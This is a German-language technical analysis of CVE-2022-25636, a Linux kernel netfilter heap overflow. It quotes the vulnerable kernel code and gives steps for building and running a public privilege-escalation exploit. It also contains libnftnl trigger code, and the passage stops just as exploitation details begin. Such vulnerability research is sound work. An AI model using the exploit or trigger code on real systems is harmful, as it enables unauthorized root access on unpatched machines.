
Detaillierte technische Analyse und Exploit-Beschreibung für CVE-2022-25636, eine Linux-Kernel-Netfilter-Heap-Overflow-Sicherheitslücke, die lokale Privilegienausweitung durch Heap-Spraying und UAF ermöglicht.
[toc]
CVE-ID: CVE-2022-25636
Betroffenes Produkt: linux kernel - netfilter
Betroffene Versionen: linux kernel 5.4 ~
Auswirkungen: Im netfilter-Kernelmodul besteht ein Heap-Überschreibungszugriff (out-of-bounds write), der bei Vorhandensein von SYS_ADMIN zu einer Rechteausweitung führen kann.
Die Schwachstelle befindet sich im netfilter-Kernelmodul. Der betroffene Code liegt in drei .ko-Dateien:
nft_dup_netdev.ko
nf_dup_netdev.ko
nf_tables.ko
Das direkte Starten mit qemu ist problematisch, die Ko-Module werden nicht geladen. Stattdessen wird eine VMware-Zwei-Maschinen-Debugging-Umgebung verwendet.
Unter Ubuntu 21.10 kann der Kernel manuell ersetzt werden:
apt-get install linux-image-5.13.0-30-generic
Anschließend den ursprünglichen Kernel entfernen und den Exploit kompilieren:
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit
Ergebnis der Rechteausweitung (Erfolgsrate unter 50%):

Die Schwachstelle befindet sich in der Funktion nft_fwd_dup_netdev_offload:
linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];//out-of-bounds
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
Beim Setzen von flow->rule->action.entries (diese Struktur ist variabel lang) wird keine Prüfung der Heap-Grenzen durchgeführt, was zu einem Out-of-Bounds-Schreibzugriff einer Ganzzahl (4 oder 5) und eines Zeigers führt.
Die Funktion wird in nft_flow_rule_create aufgerufen:
linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {//zähle num_actions basierend auf der Anzahl der übergebenen rule
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++;// nur Einträge mit NFT_OFFLOAD_F_ACTION Flag werden gezählt
expr = nft_expr_next(expr);
}
if (num_actions == 0)
return ERR_PTR(-EOPNOTSUPP);
flow = nft_flow_rule_alloc(num_actions);//allokiert Speicher basierend auf num_actions (variabel lange Struktur)
if (!flow)
return ERR_PTR(-ENOMEM);
expr = nft_expr_first(rule);
//ctx->num_actions wird auf 0 initialisiert ↓
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
if (!ctx) {
err = -ENOMEM;
goto err_out;
}
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {//rufe offload basierend auf der Anzahl der rule auf
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr);//ruft die Schwachstellenfunktion auf
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
··· ···
··· ···
}
Man sieht, dass die Funktion nft_flow_rule_create basierend auf der Anzahl der vom Userspace übergebenen rule-Strukturen einen flow-Speicher allokiert und verarbeitet. Die Variable num_actions wird zum Zählen verwendet, aber es werden nur Einträge mit dem NFT_OFFLOAD_F_ACTION-Flag gezählt. Dementsprechend wird Speicher basierend auf num_actions allokiert. Bei der anschließenden Verarbeitung durch offload wird jedoch nicht num_actions für die Schleife verwendet, sondern die gleiche Anzahl wie bei den rule-Einträgen, ohne dabei das NFT_OFFLOAD_F_ACTION-Flag zu prüfen. Das bedeutet, wenn die rule-Einträge auch solche ohne NFT_OFFLOAD_F_ACTION-Flag enthalten, ist die Anzahl der offload-Aufrufe größer als die Anzahl der zuvor allokierten flow->rule->action.entries. Im offload-Aufruf wird die Schwachstellenfunktion nft_fwd_dup_netdev_offload aufgerufen, bei jedem Aufruf wird ctx->num_actions inkrementiert (anfangs 0), sodass ctx->num_actions schließlich außerhalb des gültigen Bereichs von flow->rule->action.entries liegt – ein Out-of-Bounds-Schreibzugriff.
Einige relevante Strukturen:
struct nft_flow_rule {
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule;
};
struct flow_rule {
struct flow_match match;
struct flow_action action;
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[];
};
struct flow_action_entry {
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
struct nft_offload_ctx {
struct {
enum nft_offload_dep_type type;
__be16 l3num;
u8 protonum;
} dep;
unsigned int num_actions;
struct net *net;
struct nft_offload_reg regs[NFT_REG32_15 + 1];
};
Aufrufstapel:
Referenz: https://www.openwall.com/lists/oss-security/2022/02/21/2
Diese E-Mail beschreibt, wie man netfilter mit den C-Bibliotheken libmnl und libnftnl verwendet. Der Hauptauslöser der Schwachstelle ist, ob die hinzugefügte rule das NFT_OFFLOAD_F_ACTION-Flag besitzt. Nur rule, die mit nftnl_expr_alloc("immediate"); hinzugefügt werden, haben das NFT_OFFLOAD_F_ACTION-Flag:
for(int i = 0; i < legit_writes; i++) {//so hinzugefügte expr verursacht keinen Überlauf
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
//so hinzugefügte expr verursacht einen Überlauf
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
Die Ausnutzung ist nicht sehr stabil, aber die genutzte Technik ist raffiniert. Die Schwachstelle erlaubt es, an einer festen Offsetposition im Out-of-Bounds einen nicht kontrollierbaren Zeiger zu schreiben. Persönlich schätze ich den Schwierigkeitsgrad der Ausnutzung als sehr hoch ein. Eine kurze Analyse der technischen Vorgehensweise: Laut dem Schwachstellencode kann jeder Out-of-Bounds-Schreibzugriff nur eine Ganzzahl (id, fest 4 oder 5) und einen Zeiger (*dev) schreiben, wobei der Zeiger auf die Struktur struct net_device zeigt. Wir konzentrieren uns hier auf den dev-Zeiger: